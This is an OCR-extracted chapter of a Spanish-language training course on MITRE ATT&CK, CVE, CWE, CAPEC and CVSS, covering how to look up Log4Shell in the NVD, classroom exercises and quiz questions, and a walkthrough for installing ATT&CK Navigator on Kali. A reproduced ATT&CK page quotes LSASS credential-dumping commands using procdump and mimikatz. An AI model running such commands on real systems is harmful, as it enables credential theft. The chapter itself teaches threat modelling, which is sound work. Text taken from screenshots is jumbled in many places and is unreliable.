NATIONAL VULNERABILITY DATABASE Eosml paso 1, podemos seleccionar la Developers -
opcién “Search” (rojo) del menu de c°:'°“ NVD New Communications CVSS v4.0 Support 2.0 APIs
al + S h . . , Other Sites + Page
i R la izquierda, y nos mostrara el )
Vulnerability Metrics  + , The NVD is the U.S. government repository of standards based vulnerability management data represented using the
Predicts + bOton de CVE (azu I) . Security Content Automation Protocol (SCAP). This data enables automation of vulnerability management, security
Developers. + measurement, and compliance. The NVD includes databases of security checklist references, security-related software
Contact NVD. flaws, product names, and impact metrics

Search .
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Si seleccionamos en botén recuadrado en azul de la imagen anterior “Vulnerabilities — | NVD Vulnerability Search
CVE”, nos presentard la ventana de busqueda que figura en la imagen de la derecha, en la
que pondremos: CVE-2021-44228. || n

Puede llegar a encontrar varias opciones, en este coso concreto, la que nos interesa es la que se presenta a continuacién.

Apache Log4j2 2.0-betad through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI

CVE- Apache
- 2021-12- Spft features used in configuration, log messages, and parameters do not protect against attacker
- oftware
10 : controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log
44228 Foundation

message p...

Si la seleccionamos, podemos encontrar mucho mas nivel de detalle para poder seguir profundizando en el tema.

I TR N SN Lo primero que deseamos destacar de la imagen de la derecha, es que por defecto,

DATABASE
| Nve

g e g e no esta resaltando en azul, “CVSS Version 3.x”. Si selecciondramos “CVSS Version

4.0”, veriamos lo que se presenta en la imagen de abajo.

.
< Metrlcs CVSS Version 4.0 CVSS Version 3.x ] CVSS Version 2.0 I
AKCVE-2021-44228 Detail
NVD enrichment efforts reference publicly available information to associate vector strings. CVSS information contributed by other
b QUICK INFO
Description sources is also displayed.
Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log CVE Dictionary Entry: 5 ”
messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log VE-2021-44228 CvVsSS4.0 Seventy and Vector Strmgs:
messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled NVD Published Date:
From logdj 2.15.0, this behavior has been disabled by default, From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has 12/10/2021
bee: mpletely removed. Note that this vulnerability i: ecifi log4 re and ds n ffect logdnet, logdcxx, her A| he in| NVD Last Modified: ] 5
sm".:::,p;:oiuys, s i i 04/03/2025 NIST: NVD N/A NVD assessment not yet provided.
Source:
Apache Software Foundation
Metrics
v Esto sucede cuando aun no se ha actualizado la version, por lo que nos esta
. . . “ . ”
@ " e e R AR R aconsejando que aun sigamos trabajando con la “CVSS Version 3.x”.
. ’ i H H H o H ” 4 “" ”

AbP: CIshA0P susoscor: QI Vector: CYSS.UAVNACLRNUNISCICHILHIAN Por ultimo, si seleccionamos (hacemos “click”) en el botén “Base Score” de NIST
Reféerances to Advisories, Solirtions, and Tools (recuadrado en rojo en la imagen de la izquierda), nos presentara la imagen que
By selecting these links, you will be leaving NIST webspace. We have provided these links to other web sites because they may have H A
information that would be of interest to you. No inferences should be drawn on account of other sites being referenced, or not, from this pOdemOS ver a ContlnuaC|on'
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B Common Vulnerability Scoring System Calculator CVE-2021-44228

Source: NIST

This page shows the components of assessment and allows you to refine the resulting CVSS score with additional or different metric
values. Please read the CVSS standards guide to fully understand how to assess vulnerabilities using CVSS and to interpret the resulting
scores. The scores are computed in sequence such that the Base Score is used to calculate the Temporal Score and the Temporal Score is
used to calculate the Environmental Score.

Base Scores Temporal Environmental Overall CVSS Base Score: 10.0
10.0 10.0 10.0 10.0 Impact Subscore: 6.0
8.0 8.0 8.0 8.0 Exploitability Subscore: 3.9
6.0 6.0 6.0 6.0 CVSS Temporal Score: NA
4.0 4.0 4.0 4.0 CVSS Environmental Score: NA
2.0 2.0 2.0 2.0 Modified Impact Subscore: NA
0.0 0.0 0.0 0.0 Overall CVSS Score: 10.0
Base Impact Exploitability Temporal Environmental Modified Impact Overall B R g E

| Show Equations |

CVSS v3.1 Vector
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Base Score Metrics

Exploitability Metrics Scope (S)*
Attack Vector (AV)* Unchanged (S:U) eELT-CEICHS)
T ACVANM Adjacent Network (AV:A)  Local (Av:L) ~ Physical (AV:P) Impact Metrics

Attack Complexity (AC)* Confidentiality Impact (C)*

High (AC:H) None (C:N)  Low (CiL)

Privileges Required (PR)*

CCHCIGEA) Low (PR:L)  High (PR:H)

User Interaction (UI)*

None (UI:N) Required (UL:R)

Integrity Impact (1)*

None (I:N) ~ Low (I:L)

Availability Impact (A)*

None (A:N)  Low (AiL)

MITRE.org




Alejandro Corletti Estrada

o
%y

www.darFe.es

La imagen de arriba, nos ofrece todo el detalle sobre las métricas de este CVE-2021-44228. Por ultimo, toda esta puntuacion aplicando CVSS, si
deseamos estudiarlo en detalle, podemos seleccionar el hipervinculo “CVSS” (recuadrado en rojo en la imagen de arriba), y nos desplegara la pagina
web de FIRST, en el enlace: https://www.first.org/cvss/, que podemos en la imagen que sigue.

EirsT

About FIRST Membership Initiatives Standards & Publications Events Education

Blog

Member Portal

Common Vulnerability Scoring
System (CVSS-SIG)

Calculator

Specification Document
User Guide

Examples

Frequently Asked Questions
CVSS v4.0 Documentation &
Resources

CVSS v3.1 Archive

1 CVSS v3.0 Archive
1 CVSS v2 Archive

CVSS v1 Archive
JSON & XML Data
Representations

1 CVSS On-Line Training

Course
Identity & logo usage

Common Vulnerability Scoring System SIG

The CVSS SIG continues to work on gathering feedback and updating CVSS v4.0. The CVSS documentation, including
the User Guide, FAQ, and Examples have seen updates since the initial release in November 2023. Currently, the CVSS
SIG is working to iterate on updates to CVSS v4.0 with improved documentation and examples.

If you have questions or suggestions for the future of CVSS, please follow up with cvss@first.org ><. The CVSS SIG
cannot respond to each request but will review all submissions.

Mission

The Common Vulnerability Scoring System (CVSS) provides a way to capture the principal characteristics of a
vulnerability and produce a numerical score reflecting its severity. The numerical score can then be translated into a
qualitative representation (such as low, medium, high, and critical) to help organizations properly assess and
prioritize their vulnerability management processes.

CVSS is a published standard used by organizations worldwide, and the SIG's mission is to continue to improve it.

Goals/Deliverables

CVSS is currently at version 4.0. Links on the left lead to CVSS version 4.0's specification and related resources.

C./SS

COMMON VULNERABILITY
SCORING SYSTEM

Dale Rich
Nick Leali
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PRACTICAS Y EJERCICIOS DEL CAPITULO 1

«= PRACTICA 1 PARA EL HOGAR: Explorar el ecosistema MITRE

Objetivo: Navegar y familiarizarse con cada una de las plataformas.
@ Parte 1: Navegacion guiada
1. Accede a los siguientes sitios:

o https://attack.mitre.org

o https://cve.mitre.org

o https://cwe.mitre.org

o https://capec.mitre.org

2. Contesta:
o ¢Cuadl de los cuatro sitios te parece mas orientado a desarrolladores?
o ¢Cudl te muestra matrices visuales y tacticas?
o ¢Ddnde puedes buscar ataques de phishing?

@ Parte 2: Ejercicio practico
Caso practico: Ahora practica tu con Log4Shell (o si lo deseas con cualquier otro)

1. Busca en CVE.mitre.org el ID CVE-2021-44228.
o ¢Qué productos estan afectados?
o ¢Cudl es la puntuacién de severidad?

2. Busca el CWE relacionado (pista: usa [Google] con: CVE-2021-44228 site:cwe.mitre.org)
o ¢Cual es el ID CWE asociado?
o ¢Qué significa esa debilidad?

3. Busca un CAPEC que tenga relacion con inyecciones en pardmetros o deserializacidn.

MITRE.org
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o ¢Qué patrén CAPEC representa este comportamiento?

4. Accede a MITRE ATT&CK vy localiza la técnica T1190.

o ¢A qué tactica pertenece?

o ¢Qué medidas de mitigacion propone?

Pregunta 1 (selecciéon multiple):
¢Qué significa CVE?

a) Common Vulnerabilities and Exposures
b) Certified Virus Experts

c) Cybersecurity Validation Entity

d) Computer Vulnerability Errors

Todas las respuestas, las encontraras al final de este articulo, en la seccién “Respuestas”.

Pregunta 2 (selecciéon multiple):
éPara qué sirve buscar un CVE?

a) Descargar software

b) Identificar vulnerabilidades conocidas
c) Mejorar velocidad de red

d) Crear malware

Todas las respuestas, las encontraras al final de este articulo, en la seccién “Respuestas”.

Pregunta 3 (seleccion miiltiple):
¢Qué describe CWE?

a) Ataques reales

b) Debilidades en software y hardware
c) Configuraciones de red

d) Sistemas operativos

Todas las respuestas, las encontraras al final de este articulo, en la seccién “Respuestas”.

MITRE.org
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Pregunta 4 (selecciéon multiple):

¢CWE ayuda principalmente a?

a) Crear virus

b) Prevenir debilidades
c) Mejorar hardware
d) Instalar antivirus

Todas las respuestas, las encontraras al final de este articulo, en la seccién “Respuestas”.

Pregunta 5 (seleccion multiple):

CAPEC es una base de datos para?

a) Configurar routers
b) Patrones de ataque
c) Crear software

d) Actualizar sistemas

Todas las respuestas, las encontraras al final de este articulo, en la seccién “Respuestas”.

Pregunta 6 (seleccion muiltiple):

CAPEC se usa para?

a) Formacién en seguridad ofensiva y defensiva
b) Mejorar hardware

c) Crear CVEs

d) Comprar software

Todas las respuestas, las encontraras al final de este articulo, en la seccién “Respuestas”.

Pregunta 7 (selecciéon multiple):

Ordena la cadena:

1.

2.
3.
4

CVE
CAPEC
CWE
ATT&CK

Todas las respuestas, las encontraras al final de este articulo, en la seccién “Respuestas”.
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’ RESUMEN DEL MODULO
¢ MITRE ofrece herramientas publicas para defender y entender el ciberespacio.
e ATT&CK, CVE, CWE y CAPEC trabajan juntos para modelar amenazas y defensas.
¢ El conocimiento de cada uno permite tomar decisiones informadas en seguridad ofensiva y defensiva.

e Larelacidn que posee MITRE, con NIST con CVSS

www.darFe.es
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2- Comprendiendo las Tacticas de MITRE ATT&CK MITRE | ATT&CK’

https://attack.mitre.org

e Definicidn, estructura (tacticas, técnicas, procedimientos). ®
e Matrices (Enterprise, Mobile, ICS).

e Ejemplo visual y concepto basico.

MITRE ATT&CK, que significa Adversarial Tactics, Techniques, and Common Knowledge, es una matriz de conocimiento que describe cémo los
atacantes actlan en redes y sistemas reales.

Este marco proporciona un lenguaje comun para la inteligencia de amenazas, la respuesta a incidentes y las evaluaciones de seguridad. Es decir que,
su principal objetivo es facilitar un lenguaje comun para que los profesionales de ciberseguridad puedan comunicarse de manera mas efectiva sobre
las amenazas.

éPor qué MITRE ATT&CK es revolucionario?

Antes, muchas metodologias hablaban de amenazas
genéricas. ATT&CK se basa en evidencia real,
reportes publicos y analisis de incidentes,
documentando tacticas y técnicas especificas con

MITRE Aﬂ&CK Matrices ~ Tactics ~ Techniques ~ Defenses ~ cTl ~ Resources ~ Benefact

ATT&CKcon 6.0 is coming October 14-15 in McLean, VA and live online. To potentially join us on stage, submit to our CFP by July 9th

MATRICES Home > Matrices > Enterprise > Enterprise Enlace de esta lmagen.

Enterprise Matrix https://attack.mitre.org/matrices/enterprise/#

descripciones claras. PRE View on the ATTECK® Navigatore
Windows Below are the tactics and techniques representing the MITRE ATT&CK® Matrix for Enterprise. The Matrix contains information for the Version Permatink
following platforms: Windows, macOS, Linux, PRE, Office Suite, Identity Provider, Saa$, laaS, Network Devices, Containers, ESXi.
Estructura de ATT&CK: macos . ‘
Linux
- i . I f d I L it: side v show sub-technis hide sub- i hel,
e Tacticas: Representan las metas o fases de Cloud v ayou P
. o o Network Devices
ataque. Por ejemplo: Inicial Access (acceso S Recomaissance | Regource —— picige. Credentia
. e . . . . 10 techniques 8 techniques 11 techniques 16 23 14 45 17
inicial), Persistence(persistencia), Defense Esxi — : : : .
. ctive Scanning 3) Acquire Access Content Cloud Account Abuse Elevation Abuse Elevation Adversary-in
. ., Mobile I ot Injection Administration Manipulation (7) il [Control Control the-Middle (4)
Evasion (evasion de defensa) (en azul). Tl [T e | [y © e
ICS I Compromise Command and Access Token Access Token Force (4)
L Gather Victim Identity Compromise 1 Scripting Boot or Logon Manipulation (5)ll [Manipulation ()
, . , information (3) Accounts (3) Exp\ml Public Interpreter (12) AF\ums([m " et
- 2cution (14) count b
» Técnicas: Métodos concretos usados para lograr Gapervm ompramse | Apabcaton Contaner et 1 I e in ] [
, . NTzwovk Infrastructure (g)| = 7 IL\dmwmsu;mow \Borm\mmgm ~=r Build Image on Host
. . Information b xternal Command nitialization oot of Logon
las tacticas. Por ejemplo' para Initial Access una — 9 Develop. Remote T - [Serpts (5 Autostart Debugger Evasion Explotation
Gather Victim Org Capabilities (4) Services Deploy Containes Execution (14) for Credential
, . . . Information (4) arTy s e g\u\td i = 7 - ?T'aqus‘c‘:luaDvigvjo Access
Establis jication torLogon | Files or Information
técnica es Phishing (en verde). e [ i gplcatin | [Boctor Loga
(4) - Command Scripts (5) Deploy Container
Obtain 4 E Compromise
Search Closed Capabilities (7) Exploitation for Host Software Create or Direct Volume Access 0
Sources () ! - Spearphishing Link Client Execution Binary Modify System f 2
oo i rer— Mogéy Srstem |l [ocemainorTe
Search Open Capabllities (6) Spearphishing via Service | Input Injection |Policy Modification (7) Input

Technical
Databases (s)

8 |Domain or
Tenant Policy Email Spoofing

Spearphishing Voice | nter-Process H o
MITRE.org 22
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e Subtécnicas: Variaciones especificas de una técnica, como Spearphishing Attachment o Spearphishing Link (subrayadas en verde).

Matrices y dominios: (En la imagen anterior, las resaltamos en rojo)

e ATT&CK for Enterprise: para entornos empresariales, cubre Windows, Linux,
macOS y cloud.

e ATT&CK for Mobile: enfocado en ataques moviles.

e ATT&CK for ICS: para sistemas de control industrial.

Ejemplo concreto:

En la imagen de la derecha, podemos ver en la matriz “Enterprise”, la
Tactica “Execution- (ejecucion, recuadrado en rojo), que puede incluir Técnicas
como por ejemplo “Command and Scripting Interpreter” (recuadrado en
verde), que a su vez posee Subtécnicas como PowerShell, Apple Script,
Windows Command Shell, etc. (recuadrado en azul), que el atacante emplea
para ejecutar cdédigo malicioso.

MITRE | ATT&CK

Reconnaissance

10 techniques

Resource
Development
8 techniques

Matrices ~

Initial Access

11 techniques

Tactics ~

16 techniques

Active Scanning (3)

Acquire Access

Gather Victim Host
Information (4)

Acquire
Infrastructure (g)

Gather Victim Identity
Information (3)

Gather Victim
Network
Information (¢)

Gather Victim Org
Information (4)

Phishing for
Information (4)

Search Closed
Sources (2)

Search Open
Technical
Databases (s)

Search Open
Websites/Domains (3)

Search Victim-Owned
Websites

Content Injection

Drive-by
Compromise

Compromise Exploit Public-

Accounts (3) Facing
Application

Compromise

Infrastructure (g)| External Remote
Services

Develop

Capabilities (4) | Hardware
Additions

Establish

Accounts (3) Phishing (a)

Obtain Replication

Capabilities (7) | Through
Removable Media

Stage

Capabilities (g) Supply Chain

Compromise (3)
Trusted
Relationship
Valid

Accounts (4)

Wi-Fi Networks

Cloud Administration
Command

Command and
Scripting

Interpreter (12)
PowerShell
AppleScript

Windows
Command Shell

Unix Shell
Visual Basic
Python
JavaScript

Network Device
CLI

Cloud API

AutoHotKey &
AutolT

Lua

Hypervisor CLI

2.1 ¢{Qué es MITRE ATT&CK?

MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge), como hemos mencionado, es una base de conocimiento que describe

el comportamiento de los adversarios, basado en observaciones reales.

¢Pero qué significa esto? ATT&CK es un modelo basado en evidencia, que mapea el comportamiento real de atacantes en el mundo digital.
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Lo hace a través de:

e Tacticas: los objetivos que persigue un atacante, como obtener acceso o moverse lateralmente en una red.

o Técnicas: los métodos especificos que usan para cumplir esas tacticas, como robar credenciales o ejecutar comandos remotos.

MITRE ATT&CK se organiza en matrices, con variantes para
ambientes empresariales (Enterprise), méviles (Mobile) y de
control industrial (ICS).

Q Tres matrices principales:
e Enterprise - redes corporativas
e Mobile - ataques a Android/iOS

e ICS - sistemas industriales

2.2 Estructura del framework

MITRE | ATT&CK'

MATRICES
PRE
Windows
mac0S
Linux
Cloud v
Network Devices
Containers
ESXi
Mobile I v
ICS

Elemento Descripcion
Tacticas Objetivos del atacante (el “qué”) —ejemplo: Initial Access
Técnicas Coémo el atacante logra el objetivo (el “cdmo”) — ejemplo: Spearphishing

Subtécnicas

Variantes especificas de una técnica principal

Mitigaciones

Controles defensivos sugeridos para cada técnica

Detecciones

Indicadores que permiten identificar el uso de una técnica

MITRE.org
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’ Ejemplo: cxedential
CCess

o |Tactica: Credential Access

ITRE ATT&CK Matrices ~ Tactics ~ Techniques ~ Defenses ~ CTI ~ Resources ~ Benefactors Blog @ Se teC nlques
TECHNIQUES Home > Techniques > Enterprise > OS Credential Dumping > LSASS Memory Adver§ary'in'
) . the-Middle (4)
A H . 1 1 LSASS M 2
e | Técnica: T1003 — OS Credential Dumping -y OS Credential Dumping: LSASS Memory
Security Account Brute Force (4)
Manager Other sub-techniques of OS Credential Dumping (8) v 1D: T1003.001
NTDS Adversaries may attempt to access credential material stored in the process memory of Credenti aIS
7 . LSA Secrets the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system D Tactic: Credential Access from
° S U bteC nica: T1003 . 001 - LSASS M e mory Cached Domain generates and stores a variety of credential materials in LSASS process memory. These 1) Platforms: Windows PaSSWOrd
Credentials credential materials can be harvested by an administrative user or SYSTEM and used to Contributors: Ed Williams, Stores (6)
D conduct Lateral Movement using Use Alternate Authentication Material. Trustwave, SpiderLabs; Edward
CSync Millington; Michael Forret, Quorum e §
Proc Filesystem As well as in-memory techniques, the LSASS process memory can be dumped from the Cyber; Olaf Hartong, Falcon Force Exp(ljo Ita.tl?n fOI'
target host and analyzed on a local system. - re entla
[ R /etc/passwd and Version: 1.5
¢ | Deteccién: Monitoreo de acceso a Isass.exe
- /etc/shadow For example, on the target host use procdump: Created: 11 February 2020 Access
Steal Appli Last Modified: 15 April 2025
Access Token I « procdump -ma lsass.exe lsass_dump I Forced
Steal or Forge Locally, mimikatz can be run using: Version Permalink Authentication
H H . mi Authentication
[ ] . 3
Herramientas conocidas: Mimikatz, ProcDump s soxucisas winidonp Asassdunp.cop Forge Web
* sekurlsa::logonP: d A
N - i Credentials ()
TECHNIQUES Procedure Examples Input
LSASS Memory » Name Description Capture (4)
Security Account e z R oy .7 . . . e
anager W | kv | Duoihe s e b e i e v S | s e  Mitigacién: Behavior Prevention on Endpoint (Prevencion de| &,/
NTDS Attack . . . . . .
R comportamientos en terminales), Credential Access Protection Authentication
G1030  Agrius Agrius used tools such dump LSASS memory to capture credentials in victim ProceSS
Cached Domain environments."" 1A d d i | d 9)
Sxinipe (Proteccién de credenciales de acceso
pCSyne GO006  APT1 APT1 has been known to use credential dumping usl Multi-Factor
Proc Filesystem G0007  APT28 APT28 regularly deploys both publicly available (e- nd custom password retrieval tools on e . Authentication
it victim 1" They have aiso dumped the LSASS prOEeSS Temery using the Miniburmp functin. TECHNIQUES Mitigations Interception
/etc/shadow
60022 APT3 APT3 has used a tool to dump credentials by injecting itself into I ind triggering with the LSASS
Steal Application N f PN e e Mermory I Mitigation Description i
Access Token Security Account Multi-Factor
Steal or Forge GOOS0 ~ APT32 APT j’z us customized versions of Windows Credential Dumper to harvest credentials Manager M1040 [ Behavior On Windorvs 10, enable Attack Surface Reduction (ASR) rules to secure LSASS and prevent credential Authentication
Authentication & i#55 Prevention stealing. "¢/ Request
Certificates N on Endpoint .
G064  APT33 APT33 has used a variety of publicly available tools like LaZag | ProcDump f§ dump
StealorForge v credentials 1516 g i L) LSA Secrets Generation
Kerberos Tickets . M1043 § Credential With Wit 10, Mi ft impl d new pi called Credential Guard to protect the LSA
RN G0087  APT39 APT39 has usmmduws Credential Editor nrl ProcDump ldump credentials |7 Cached ADomaln AcGoss secrets that can be used to obtain credentials through forms of ial dumping. It is not config NetWOrk Sn |fﬁ ng
. Credentials Protection by default and has and firmware system requi . It also does not protect against all
En este ejemplo, podemos observar todo el volumen de — forms of credential dumping. 109111 0S Credential
| nfO rmacion q ue M ITR E A I I &C K nos Ofre cea I a h ora d e Proc Filesystem M1028  Operating Consider disabling or restricting NTLM.!""! Consider disabling WDigest authentication.!'? DUmpmg (8)
. AR /etc/passwd and System
analizar una vulnerabilidad. e adod Configuration LSASS
Steal Application M1027 Password Ensure that local administrator accounts have complex, unique passwords across all systems on the Memory
Access Token Policies network.
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2.3 COmo navegar la matriz

Veamos con otro ejemplo, como podemos navegar en esta matriz de

ATT&CK.

P Ingresa a https://attack.mitre.org/matrices/enterprise/

Podemos seleccionar la vista de

MATRICES

Enterprise
PRE
Windows
macO0S
Linux
Cloud

Network Devices

v

Containers
ESXi
Mobile
Ics

MITRE | ATT&CK'

Planof (flat), o de

Techniques ~

Matrices ~ Tactics ~ Defenses ~ CTI ~

Enterprise Matrix

Below are the tactics and techniques representing the MITRE A
Matrix ins ir for the : Windo
Identity Provider, Saas, laaS, Network Devices, Containers, ESXi

CK® Matrix for Enterprise. The
acOS, Linux, PRE, Office Suite,

Resources ~

Benefactors

View on the ATT&CK®
Navigator &

Version Permalink

show sub-techniques

hide sub-techniques

help

Initial Access  Execution Persistence Privile?e Defense Evasic
Development Escalation
10 8 n 16 23 45
Active Scanning (3) | Acquire Access  Content Injection ~ Cloud Administration [l Account Abuse Elevation Abuse Elevation Co

Command Manipulation (7) Control
Scanning IP Blocks Acquire Orive-b Mechanism (g

Infrastructure (g)| Compromise

Command and
Scripting
Interpreter (17,

Additional Cloud
Credentials

Setuid and Setgid
Scanning Domains Exploit Public
Facin:

Application

Additional Email
Delegate
Permissions

Bypass User
Wordlist Scanning DNS Server PowerShell Account Control

Gather Victim Host Virtual Private  External Remote AppleScript Sudo and Sudo

Mechanism (g

Setuid and Setgid

Bypass User Accou
Control

Sudo and Sudo Cac

information (¢ Server Services Additional Cloud Caching Elevated Execution
Windows Roles Prompt
Server Hardware Command Shell Elevated Execution
Additions SSH Authorized with Prompt Temporary Elevated
Botnet ————— | Unix Sheil Keys Access
'nmsmnq ) Temporary Elevated
Web Services ———————— | Visual Basic Device Registration | Cloud Access TCC Manipulation
Spearphishing —_
Python Additional Container TCC Manipulation Access Token
1 Cluster Roles -l Manipulation (s
Gather Victim Identity | | Malvertising Spearphishing JavaScript Access Token |
Information (3 Link Additional Local or Manipulation (s) ‘
- Ci Network Device Domain Groups

Blog |

Cada column
"Execution"

MITRE | ATT&CK'

Matrices ~ Tactics ~ Techniques ~ Defenses ~ CTl ~ Resources ~

Benefactors

MATRICES

PRE
Windows
mac0S

Linux

Network Devices
Containers
ESXi
Mobile
Ics

Enterprise Matrix

Below are the tactics and techniques representing the MITRE ATT&CK® Matrix for Enterprise. The
Matrix contains for the i Vindows, macOS, Linux, PRE, Office Suite,
Identity Provider, SaasS, laaS, Network Devices, Containers, ESXI,

Navigator &

View on the ATT&CK®

Version Permalink

show sub- hide sub- help
Reconnaissance Resource Development Initial Access
10 techniques 8 techniques 11 techniques
nning IP Blocks Acquire Access Content
Injection
anning (3 Vuinerability Scanning
Drive-by
Wordlist Scanning Compromise
Hardware Exploft Public
. . Facin,
Gather Victim Host Software Acquire Application
information (4 Eo—— infrastructure o) Mo tomal
Remote
Client Configurations Vieb Services Services
Credentials Serverless Hardware
e Additions
Dather vicum Identity Bl email Addresses Malvertising
- o Spearphishing Attachment
Employee Names Social Media Accounts
TR Spearphishing Link
Domain Properties A Email Accounts Phishing cs)

ONS

Spearphishing via Service
Cloud Accounts
Spearphishing Voice

MITRE | ATT&CK

Matrices ~

Tactics ~ Techniques ~ Defenses ~ Resources ~ Benefactors
Home > Matrices > Enterprise > Linux
MATRICES
Enterprise ~ L N M N
PRE Inux Matrix View on the ATTECK®
Windows Below are the tactics and techniques representing the MITRE ATT&CK® Linux platform. The Navigator &z
techniques below are known to target hosts running Linux operating systems. The Matrix contains
mac0S Version Permalink
information for the Linux platform.
Li
oud v
layout: flat ~
show sub hide sub- help
C
N
o ‘ E : Privilege Defense Evasion Credential Discovery Lateral
Escalation Acc Movemer
Mobile v 10 12 25 15 25 8 technique
Ics Content Injection Abusa Elevation [Jll Abuse Elevation Adversary-in- mAr(mmt Discovery (zy | Exploitati
Control Control Mechanism ) |l the-Middie ) (W— - Remote
Drive-by Mechanism () | ) Application Window Services
Compromise Boot or Logon Debugger Evasion Brute Force (4)| Discovery
Explottation for ] Autostart Account Internal
Exploit Public Client Execution (3) Manipulation (| Deobfuscate/Decode Credentials | Browser Information Spearphish
cing Execution Files or from Discovery
Application Boot or Logon (Il Boot or Logon Password Lateral Toc
input Injection [l Initialization Autostart Email Spoofing Stores (3 Debugger Evasion Transfer
External Remote Scripts () Execution (3 -
Services Execution Exploftation for  Device Driver Discovery [ll Remote
Communication Compromise Host ll Boot or Logon |l Guardrails (5 Credential Service
Hardware Software Binary Initialization ! Access File and Directory
Additions Native API Scripts (y Exploitation for Defense Discovery Hijacking
Create Evasion Forge Web
Phishing (4 Scheduled ([l Account () Create or Credentials (1) | Log Enumeration Remote
Task/Job g3 | Modify System |[llFile and Directory Service
Suooly Chain — Process P Network Service
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2.4 Herramienta complementaria: ATT&CK Navigator
URL: https://github.com/mitre-attack/attack-navigator

Permite:

e Crear capas visuales de ataques simulados o conocidos.
e Marcar técnicas detectadas por herramientas SIEM o EDR.

e Exportar mapas PDF o JSON para reportes.

Avancemos de forma practica con esta herramienta que nos puede ser de mucha utilidad a la hora de realizar analisis,
seguimiento e histdrico de amenazas, ataques y vulnerabilidades. Esta oferta de Github, permite tanto a blue como a
red team, realizar un trabajo a consciencia y metddico sobre nuestras infraestructuras, pues como veremos, puede
personalizarse con todo detalle, asi que pasemos a verla, como siempre, empleando nuestro Kali Linux.

https://github.com/mitre-attack/attack-navigator/blob/master/README.md

—

() Product - Solutions - Resources - Open Source - Enterprise

Ya abierto nuestro Kali, en la URL: @ itre-sttack  attack-navigator  res

Y Fork 644 & Star 2.2k

<> Code () lssues 45 I Pullrequests 10 (© Actions ([ Projects [0 Wiki @ Security | Insights

https://github.com/mitre-attack/attack-navig

P master ~ ¥ 14 Branches © 45 Tags Q Gotof About
. . Web app that provides basic navigation
(en el menu de la derecha) Descargar: B —— oy 2 moniva 100 2067 Commts | a station of ATTSOK mtrcns

= github & mitre-attack github.ofattack-navigator

attack-navigator v5.1.1 (a fecha de
hoy), lo descomprimi ip) T

O gitignore

ver: README.md

[ markdownfintymi

RANGELOG.md

https://github.com/mitre-attack/a
navigator/tree/master?tab=readme-ov-file

) CONTRIBUTING

) Dockertite

[ LICENSE.txt

_— D NOTICEtxt

0 usaGEmd

Releases 43

© attack-navigator v5.1.1 (Latest
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Es importante lo que nos indica en: Requirements (pues si no tenemos instalado estos paquetes, no
funcionara)

Node.js v18
AngularCLI v17 (npm install -g @angular/cli)

Requirements

* Node.js v18
e AngularCLI v17

Para instalarlos: sudo apt install nodejs npm (puede que nos ponga algin problema, para lo que deberemos actualizar nuestro sistema

previamente con apt upgrade, apt update).

Luego, siguiendo README.md

First time

Nos posicionamos dentro del directorio en el que descomprimimos attack-navigator v5.1.1, y nos desplazamos dentro del directorio

“nav-app” (cd nav-app).
Dentro de este directorio, ejecutamos: npm install

Nos dejara el siguiente mensaje (o similar):

github.com/palantir/tslint/issues/4534 for more information.
added 1233 packages, and audited 1234 packages in 23s
160 packages are looking for funding
run ‘'npm fund’ for details
26 vulnerabilities (7 low, 14 moderate, 5 high)
To address issues that do not require attention, run:
npm audit fix
To address all issues (including breaking changes), run:
npm audit fix --force
Run ‘npm audit” for details.

—(root%kali)-[/home/acorletti/Downloads/attack-navigator-5.1.1/nav-app]

MITRE.org
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Siguiendo nuevamente con README.md:

Serve application on local machine

Run ng serve within the nav-app directory (puede que nos de el error que figura abajo, con lo que nos propondra "Command 'ng' not
found, but can be installed with:", le decimos que "y"... y lo instalard como puede verse abajo)

/home/acorletti/Downloads/attack-navigator-5.1.1/nav-app

serve

Rkali)- 2
r—{rootWkali) Generating browser application bundles (phase: building) l

[/home/acorletti/Downloads/attack-navigator-5.1.1/nav-app]
L# ng serve

Command 'ng' not found, but can be installed with:

apt install ng-common

Do you want to install it? (N/y) y

apt install ng-common...

*% Angular Live Development Server is listening on localhost:4200, open your browser on http://localhost:4200/ *x

Una vez ejecutado ng serve, puede que nos presente
v Compiled successfully. . , A ., .
~ Browser application bundle generation complete. varias lineas de CompllaCIOn, pero finalmente nos
Initial chask files | Mmes | Rew size presentard la pantalla que podemos ver a la izquierda.

| runtime | |

Como podemos ver en la linea superior de la imagen, nos
indica que “Angular Live Development is listening on
localhost:4200, open your browser on”:

5 unchanged chunks
Build at: 2025-08-12T01:54:28.276Z - Hash: 562b5ddcb11b39el - Time: 6728ms

v Compiled successfully.

v Browser application bundle generation complete. http://localhost:4200

Por lo que desde el Firefox de nuestro Kali, lo hacemos asi,

8 unchanged chunks I tal cual se presenta en la imagen siguiente.
Build at: 2025-08-12T01:55:53.344Z - Hash: 562b5ddcb11b39el - Time: 15571ms

v Compiled successfully.
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*» & ATT&CK® Navigator -

« > C @ O O & localhost:42C

new tab X e

MITRE ATT&CK® Navigator

The ATT&CK Navigator is a web-based tool for annotating and exploring ATT&CK matrices. It
can be used to visualize defensive coverage, red/blue team planning, the frequency of detected
techniques, and more.

help changelog theme v
Create New Layer Create a new empty layer v
Open Existing Layer Load a layer from your computer or a URL v
Create Layer from Other Layers Select layers to inherit properties from v
Create Customized Navigator Create a hyperlink to a customized ATT&CK Navigator v

Si seleccionamos la primera de las opciones “Create New Layer”, se nos desplegard la ventana que presentamos en la imagen que sigue.
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localhost

The ATT&CK Navigator is a web-based tool for annotating and exploring ATT&CK matrices. It
can be used to visualize defensive coverage, red/blue team planning, the frequency of detected
techniques, and more

help changelog theme v
Create New Layer Create a new empty layer
Enterprise ATT&CK Mobile ATT&CK ICS ATT&CK
More Options v

Open Existing Layer

Create Layer from Other Layers

Create Customized Navigator

Load a layer from your computer or a URL

Select layers to inherit properties from

Create a hyperlink to a customized ATT&CK Navigator

Como podemos ver, nos presenta las tres matrices que ya venimos estudiando desde en el
punto anterior:

- Enterprise ATT&CK

- Mobile ATT&CK

- ICS ATT&CK

En nuestro caso, para mantener la misma linea de trabajo, seleccionaremos “Enterprise
